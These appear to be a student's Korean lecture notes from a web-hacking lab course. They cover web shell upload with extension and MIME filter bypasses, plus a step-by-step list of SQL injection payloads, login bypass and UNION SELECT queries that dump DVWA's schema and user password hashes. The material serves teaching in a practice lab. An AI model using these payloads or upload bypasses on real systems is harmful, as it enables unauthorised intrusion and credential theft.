28일차

●28일차 (20250124028.php)
[kali]
cd ~
cd Desktop
touch webshell.php
touch webshell.php.jpg

[관리자]
web2.st.kr edit plus에서
public_html 아래에 uploads를 만들어주고
권한을 777로 준다

step1.
kali에서 web2.st.kr에 들어가 webshell.php를 업로드해주면 uploads 아래에 webshell.php가 업로드된다

step2. 확장자 차단
php 업로드를 막아놨다
> 하지만 php.jpg로 업로드하니 업로드가 된다

step3. MIME 타입 차단
php.jpg도 업로드 되지 못하게 MIMEtype을 이용해 확장자가 이미지, 한글 파일, 워드파일같은 확장자로만 업로드 될 수 있도록 막아놓음
> 악성 파일을 이미지 파일로 위장 후 실행시킴

step4. 이중확장자 타입
어제 했던 그누보드를 활용해 만들어보자
dvwa에서 security는 impossible로 두고 file Upload에서 코드소스를 가져옴

#SQL인젝션
> 지금도 공격이 가능함 1' or '1'='1

1' ORDER BY 1#
1' ORDER BY 2#
1' ORDER BY 3# (X)

1' UNION SELECT 1,2#
1' UNION SELECT 1,2,3# (X)

1' UNION SELECT name,pw from users#
' UNION SELECT schema_name,2 from information_schema.schemata#
' UNION SELECT table,2 from information_schema.tables where table_schema='dvwa'#
' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
' UNION SELECT user,password from users#

웹사이트는 보통 80(웹), 443(https)이 열려있다
> 사이트는 빈 껍데기, 검색란은 데이터베이스와 연관되어있다
> 검색란에 데이터베이스와 연결될 수 있게 sql문을 넣을것이다
> 이상한 데로 서버가 안내해줄거임(안에 있는 데이터를 볼거임)

#데이터베이스 조작 방법
> select from, insert into, update set, delete from

1. select from
> select * from users;
> select idx,id_param from users;
> select id_param from users where id_param='admin'

1' or '1' = '1
admin > 1' or '1'='1
> select id_param from users where id_param=1' or '1' = '1
> '1' = '1은 참이니까 sql문 문법상으로 문제가 없음

> web2.st.kr 아이디에 1' or '1' = '1을 넣어주면 연결 성공이 뜸


dvwa SQL injection에 1' or '1' = '1를 넣어주면 dvwa의 데이터베이스에 있는 데이터가 나온다
(dvwa 1 or 1)

UNION SELECT
' UNION SELECT schema_name,2 from information_schema.schemata#
(dvwa s)
> dvwa라는 데이터베이스가 나옴

' UNION SELECT table_name,2 from information_schema.tables where table_schema='dvwa'#
(sql password)
> 테이블 이름이 나옴

' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
(sql table)
> 테이블 구조를 알려줌

' UNION SELECT user,password from users#
(dvwa password)
Surname > 암호가 나옴 > 32자임(md5)

Attack.py에 SQL 인젝션이 되는 코드를 짜라
> 웹 공격 SQL은 request와 response를 이해하면 된다

업로드 공격
> 파이썬으로 업로드 가능
> GET, POST
> web2.st.kr은 post로 되어있다